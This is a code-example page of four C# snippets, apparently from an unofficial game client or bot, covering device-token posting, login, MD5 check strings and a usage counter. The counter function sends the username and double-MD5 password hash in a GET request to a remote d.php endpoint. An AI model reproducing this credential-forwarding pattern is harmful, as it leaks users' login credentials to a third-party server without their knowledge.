Ejemplo n.º 1
0
        //
        public static void notification_post_devicetoken(string login_id, string password)
        {
            List <ReqParama> reqparams = new List <ReqParama>();

            reqparams.Add(new ReqParama("S", "nosessionid"));
            reqparams.Add(new ReqParama("login_id", login_id));
            reqparams.Add(new ReqParama("password", password));
            reqparams.Add(new ReqParama("app", "and"));

            string token;
            Random rd = new Random();

            byte[] bytes = Encoding.ASCII.GetBytes(HTTP.EncryptMD5(HTTP.code + login_id) + rd.Next(1000000).ToString());
            token = Convert.ToBase64String(bytes).Replace("\n", "");
            reqparams.Add(new ReqParama("token", token));

            string postdata = ma_prepare_request(reqparams);

            ma_request("/connect/app/notification/post_devicetoken?cyt=1", postdata);
        }
Ejemplo n.º 2
0
        private void button1_Click(object sender, EventArgs e)
        {
            //string uid = DES.DecryptDES("F449E953CDA93000", "11111111");
            HTTP.user = textBox1.Text;
            HTTP.pass = HTTP.EncryptMD5(HTTP.EncryptMD5(textBox2.Text));

            string pass = HTTP.EncryptMD5(HTTP.EncryptMD5(textBox2.Text));
            string ret  = null;

            try
            {
                ret = HTTP.Login2(textBox1.Text, pass, 0, "");
            }
            catch (Exception ex)
            {
                MessageBox.Show("失败原因:" + ex.Message + ",可能是服务器间歇性抽风或者版本更新,多试几次");
            }

            Form1 f = new Form1();

            this.Hide();
            f.Show();
        }
Ejemplo n.º 3
0
 public static string make_chk(string str)
 {
     return(HTTP.EncryptMD5(HTTP.EncryptMD5(str + str)).Substring(0, 5));
 }
Ejemplo n.º 4
0
 //舔怪计数器
 public static void SendCnt()
 {
     HTTP.HttpGet(HTTP.url + "d.php?t=Cnt&u=" + HTTP.user + "&p=" + HTTP.pass);
 }